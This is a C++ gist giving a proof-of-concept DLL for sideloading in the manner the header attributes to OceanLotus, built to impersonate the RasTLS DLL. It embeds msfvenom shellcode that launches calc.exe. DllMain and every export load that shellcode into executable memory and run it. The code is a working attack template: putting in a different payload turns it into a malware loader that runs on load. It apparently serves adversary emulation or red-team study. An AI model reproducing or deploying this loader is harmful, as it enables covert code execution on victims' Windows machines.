DLLSideloadRastls

gistfile1.txt

/*
+-------------- RasTLS DLL -------------+
|Author: Zane Gittins                   |
|Description: DLL Sideloading technique |
|used by OceanLotus.                    |
+---------------------------------------+
*/

#include "pch.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <ShellAPI.h>
#include <fstream>
#include <iostream>

// msfvenom -p windows/exec CMD=calc.exe -f c
unsigned char sc[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";


void Payload() {
    std::ofstream myfile;
    myfile.open("log.txt");
    myfile << "[+] Spawning Calc.\n";
    myfile.close();
    void* exec = VirtualAlloc(0, sizeof sc, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, sc, sizeof sc);
    ((void(*)())exec)();
}

__declspec(dllexport) void __cdecl RaspEapGetCredentials();

__declspec(dllexport) bool __cdecl RasEapFreeMemory();

__declspec(dllexport) void __cdecl RasEapInvokeInteractiveUI(); 

__declspec(dllexport) bool __cdecl RasEapGetInfo();

__declspec(dllexport) void __cdecl RasEapCreateConnectionProperties2(); 


__declspec(dllexport) void __cdecl RaspEapGetCredentials() {
    Payload();
    return;
}

__declspec(dllexport) bool __cdecl RasEapFreeMemory() {
    Payload();
    return false;
}

__declspec(dllexport) void __cdecl RasEapInvokeInteractiveUI() {
    Payload();
    return;
}

__declspec(dllexport) bool __cdecl RasEapGetInfo() {
    Payload();
    return false;
}

__declspec(dllexport) void __cdecl RasEapCreateConnectionProperties2() {
    Payload();
    return;
}


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Payload();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}